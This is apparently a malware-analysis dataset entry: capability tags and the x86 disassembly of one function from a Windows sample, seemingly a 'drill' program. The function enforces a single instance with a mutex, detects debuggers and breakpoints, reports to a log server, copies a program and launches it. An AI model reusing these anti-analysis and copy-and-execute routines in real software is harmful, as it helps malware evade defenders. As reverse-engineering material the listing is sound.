Function at 0x408046
Capabilities:
Check mutex on windows
Copy file
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x49e2e0]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x2c
mov dword [esp + 0x28], ebx
call fcn.0041e9c2
pop ecx
test eax, eax
je 0x408084
mov ecx, eax
call fcn.0040e7f2
mov esi, eax
mov dword [esp + 0x2c], esi
jmp 0x40808a
mov esi, ebx
mov dword [esp + 0x2c], ebx
push 1
call fcn.0041e9c2
pop ecx
push 0x28
mov dword [esp + 0x24], eax
call fcn.0041e9c2
pop ecx
test eax, eax
je 0x4080b1
mov ecx, eax
call fcn.0040dfb2
mov edi, eax
mov dword [esp + 0x14], edi
jmp 0x4080b7
mov edi, ebx
mov dword [esp + 0x14], ebx
mov ecx, esi
call fcn.0040e8aa
test al, al
jne 0x408130
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Out_Of_Period_Access
call fcn.00401668
push ecx
mov ecx, esp
push 0x489238
call fcn.00401668
push edi
push esi
call fcn.0040d271
call fcn.0040d141
mov ecx, dword [esp + 0x2c]
test ecx, ecx
je 0x4080fb
push ecx
call fcn.00408a79
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Self_Terminate_Treatment
call fcn.00401668
push ecx
mov ecx, esp
push 0x489258
call fcn.00401668
push edi
push esi
call fcn.0040d271
call fcn.0040d141
call fcn.0040e959
jmp 0x408939
test esi, esi
je 0x40813c
push ecx
mov ecx, esi
call fcn.00408a79
push 0x24
call fcn.0041e9c2
pop ecx
test eax, eax
je 0x408155
mov ecx, eax
call fcn.0040a9fe
mov dword [esp + 0x2c], eax
jmp 0x408159
mov dword [esp + 0x2c], ebx
push 0x487b73
mov ecx, 0x4a3300
call fcn.00409b5a
test eax, eax
je 0x408171
call fcn.0040d018
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Origin_Malware_Start
call fcn.00401668
push ecx
mov ecx, esp
push 0x489274
call fcn.00401668
push edi
push esi
call fcn.0040d271
call fcn.0040d141
push str.fsiDrill
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0xfe
mov dword [esp + 0x2c], eax
lea eax, [esp + 0xa5]
push ebx
push eax
mov byte [esp + 0xac], bl
call fcn.00423470
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x410
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40820f
push 0xfe
lea eax, [esp + 0xa4]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xff
jae 0x408a73
push 0x49f1e8
lea ecx, [esp + 0x38]
mov byte [esp + esi + 0xa4], bl
call fcn.00401743
push str.3370
lea eax, [esp + 0x38]
push str._s.exe
push eax
call fcn.00403022
add esp, 0xc
lea eax, [esp + 0xa0]
push eax
lea ecx, [esp + 0x38]
call fcn.00409b5a
mov esi, dword [esp + 0x34]
test eax, eax
je 0x4082ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40827c
push ecx
lea ecx, [esi - 0x10]
mov edi, esp
call fcn.00401f3d
add eax, 0x10
mov dword [edi], eax
call fcn.00407fa3
pop ecx
cmp eax, 1
jne 0x4082ba
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Mutex_Duplicate_execution_
call fcn.00401668
push ecx
mov ecx, esp
push 0x4892a8
call fcn.00401668
mov ecx, dword [esp + 0x28]
push ecx
push edi
call fcn.0040d271
call fcn.0040d141
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408931
push 0xc
call fcn.0041e9c2
pop ecx
test eax, eax
je 0x4082d5
mov ecx, eax
call fcn.00401fdd
mov edi, eax
mov dword [esp + 0x18], edi
jmp 0x4082db
mov edi, ebx
mov dword [esp + 0x18], ebx
mov ecx, edi
call fcn.0040219f
cmp al, 1
jne 0x40832b
push str.false
push ecx
push ecx
mov ecx, esp
push str.isConfigInit
mov dword [esp + 0x34], 1
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
lea eax, [esp + 0x38]
push eax
mov ecx, edi
call fcn.0040210f
pop ecx
mov ecx, eax
call fcn.00409b5a
mov byte [esp + 0x1f], 1
test eax, eax
je 0x40832f
mov byte [esp + 0x1f], bl
test byte [esp + 0x24], 1
je 0x408342
mov ecx, dword [esp + 0x28]
add ecx, 0xfffffff0
call fcn.00401253
push ecx
cmp byte [esp + 0x23], bl
je 0x4086dd
mov ecx, dword [esp + 0x18]
mov edi, esp
mov ecx, dword [ecx + 0x18]
sub ecx, 0x10
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.trn_id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x20]
sub ecx, 0x10
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.template_Id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x1c]
sub ecx, 0x10
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.malware_Id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x24]
sub ecx, 0x10
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.user_Id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
push 0x487b73
mov ecx, 0x4a3300
call fcn.00409b5a
test eax, eax
je 0x408527
mov esi, dword [esp + 0x18]
mov dword [esp + 0x28], ebx
mov edi, 0x49f1e8
push edi
lea ecx, [esp + 0x40]
call fcn.00401743
push edi
lea ecx, [esp + 0x3c]
call fcn.00401743
lea eax, [ebx + 1]
push eax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x3c]
push 0x487ed8
push eax
call fcn.00403022
add esp, 0xc
lea eax, [esp + 0x38]
push eax
mov edx, str.LogServer
lea ecx, [esp + 0x58]
call fcn.00402fba
pop ecx
push eax
lea ecx, [esp + 0x40]
call fcn.00401dc6
mov ecx, dword [esp + 0x54]
add ecx, 0xfffffff0
call fcn.00401253
push ecx
mov ebx, esp
push ecx
mov ecx, dword [esp + 0x30]
mov edi, esp
mov ecx, dword [ecx*4 + 0x4a3300]
sub ecx, 0x10
call fcn.00401f3d
add eax, 0x10
push ebx
mov dword [edi], eax
call fcn.0040cfae
mov ebx, dword [esp + 0x40]
push ecx
lea ecx, [ebx - 0x10]
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.connect
mov dword [edi], eax
call fcn.00401668
mov ecx, esi
call fcn.00402052
mov ecx, dword [esp + 0x38]
lea ecx, [ecx - 0x10]
call fcn.00401253
lea ecx, [ebx - 0x10]
call fcn.00401253
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x28], ebx
cmp ebx, 2
jb 0x408453
mov esi, dword [esp + 0x34]
xor ebx, ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Treatment
call fcn.00401668
push ecx
mov ecx, esp
push 0x4892d8
call fcn.00401668
push dword [esp + 0x20]
push edi
call fcn.0040d271
push ecx
mov ecx, esp
push str.malChecker
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov edi, dword [esp + 0x24]
mov ecx, edi
call fcn.00402052
mov ecx, dword [esp + 0x14]
push edi
call fcn.0040e09e
push ecx
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isConfigInit
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, edi
call fcn.00402052
push 1
call fcn.0041e9c2
mov edi, eax
pop ecx
lea eax, [esp + 0x24]
push eax
call fcn.00401510
push 0x487b73
lea ecx, [esp + 0x28]
call fcn.00409b5a
test eax, eax
je 0x408637
push 0x49f1e8
lea ecx, [esp + 0x2c]
call fcn.00401743
push dword [esp + 0x24]
lea eax, [esp + 0x2c]
push str.Reversing_Detect_Tool:_s_
push eax
call fcn.00403022
pop ecx
pop ecx
push ebx
mov ebx, dword [esp + 0x30]
push ecx
mov dword [esp + 0x1c], esp
push ecx
lea ecx, [ebx - 0x10]
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push 0x4892f8
mov dword [edi], eax
call fcn.00401668
push dword [esp + 0x28]
push dword [esp + 0x28]
call fcn.0040d271
call fcn.0040d141
lea ecx, [ebx - 0x10]
call fcn.00401253
jmp 0x4086a0
mov ecx, edi
call fcn.0040126f
cmp al, 1
jne 0x408651
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Reversing_Detect_MemoryBP_
jmp 0x40867f
call fcn.0040137d
test eax, eax
jle 0x408669
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Reversing_Detect_HardwareBP_
jmp 0x40867f
call fcn.00401408
cmp al, 1
jne 0x4086a0
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Reversing_Detect_ProcessDebugFlags_
call fcn.00401668
push ecx
mov ecx, esp
push 0x4892f8
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d271
call fcn.0040d141
push ecx
push 0
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.ConfigFileInitSuccess
call fcn.00401668
push ecx
mov ecx, esp
push 0x489374
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d271
call fcn.0040d141
mov ecx, dword [esp + 0x24]
add ecx, 0xfffffff0
call fcn.00401253
jmp 0x40870a
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.ConfigFileInitFail
call fcn.00401668
push ecx
mov ecx, esp
push 0x48938c
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d271
call fcn.0040d141
push str.false
push ecx
push ecx
mov ecx, esp
push str.isInit
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov edi, dword [esp + 0x28]
lea eax, [esp + 0x20]
push eax
mov ecx, edi
call fcn.0040210f
pop ecx
mov ecx, eax
call fcn.00409b5a
mov ecx, dword [esp + 0x10]
mov ebx, eax
neg ebx
sbb bl, bl
add ecx, 0xfffffff0
call fcn.00401253
push ecx
inc bl
je 0x4087a4
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isInit
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, edi
call fcn.00402052
push ecx
xor ebx, ebx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Init
call fcn.00401668
push ecx
mov ecx, esp
push 0x489398
jmp 0x4087bf
xor ebx, ebx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.start
call fcn.00401668
push ecx
mov ecx, esp
push 0x489274
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d271
call fcn.0040d141
or dword [esp + 0x40], 0xffffffff
xor eax, eax
lea edi, [esp + 0x44]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [esp + 0x2c]
push dword [edi + 0x1c]
lea eax, [edi + 0xc]
mov ecx, eax
mov dword [esp + 0x14], eax
call fcn.00409b5a
test eax, eax
je 0x40883f
push 1
push dword [edi + 0xc]
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
test eax, eax
jne 0x408952
push str.ProgramCopyFail
call fcn.00401668
push ecx
mov ecx, esp
push 0x4893b4
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d271
call fcn.0040d141
mov eax, dword [esp + 0x20]
test eax, eax
je 0x40884e
push eax
call fcn.0041de4e
pop ecx
mov edi, dword [esp + 0x14]
test edi, edi
je 0x408864
mov ecx, edi
call fcn.0040e2ae
push edi
call fcn.0041de4e
pop ecx
mov eax, dword [esp + 0x18]
test eax, eax
je 0x408874
push ecx
mov ecx, eax
call fcn.00408ae6
mov edi, dword [esp + 0x2c]
mov ecx, edi
call fcn.0040aaf0
push edi
call fcn.0041de4e
pop ecx
push 0x10
call fcn.0041e9c2
mov dword [esp + 0x34], eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x30]
mov eax, dword [ebp + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [esp + 0x30]
mov eax, dword [ebp + 0x10]
mov dword [ecx + 8], eax
mov eax, dword [esp + 0x30]
mov ecx, dword [ebp + 0x14]
push ebx
push ebx
mov dword [eax + 0xc], ecx
lea eax, [esp + 0x38]
push eax
push 0x408b28
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x40957b
push ebx
push ebx
mov dword [esp + 0x58], eax
call edi
push ebx
push ebx
push ebx
push 0x4097fb
push ebx
push ebx
mov dword [esp + 0x5c], eax
call edi
push ebx
push ebx
push ebx
push 0x4097fb
push ebx
push ebx
mov dword [esp + 0x60], eax
call edi
push ebx
push ebx
push ebx
push 0x409800
push ebx
push ebx
mov dword [esp + 0x64], eax
call edi
mov dword [esp + 0x50], eax
mov eax, dword [esp + ebx*4 + 0x40]
test eax, eax
je 0x40892b
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 5
jl 0x40890f
lea ecx, [esi - 0x10]
call fcn.00401253
mov ecx, dword [esp + 0x1a4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0041de53
mov esp, ebp
pop ebp
ret 0x10
push str.ProgramCopySuccess
call fcn.00401668
push ecx
mov ecx, esp
push 0x4893cc
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d271
call fcn.0040d141
push ecx
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isCopy
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
push 0x44
pop edi
push edi
lea eax, [esp + 0x5c]
push ebx
push eax
call fcn.00423470
mov dword [esp + 0x64], edi
xor eax, eax
lea edi, [esp + 0x4c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x487b73
lea ecx, [esp + 0x28]
stosd dword es:[edi], eax
call fcn.00401668
mov edi, dword [esp + 0x10]
push edi
lea ecx, [esp + 0x28]
call fcn.00401dc6
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x5c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [edi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x408a13
mov ecx, dword [esp + 0x24]
lea ecx, [ecx - 0x10]
call fcn.00401253
jmp 0x408931
push ecx
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isExcute
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.CreateProcessSuccess
call fcn.00401668
push ecx
mov ecx, esp
push 0x4893e8
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d271
call fcn.0040d141
jmp 0x408a02
call fcn.0041fee0
int3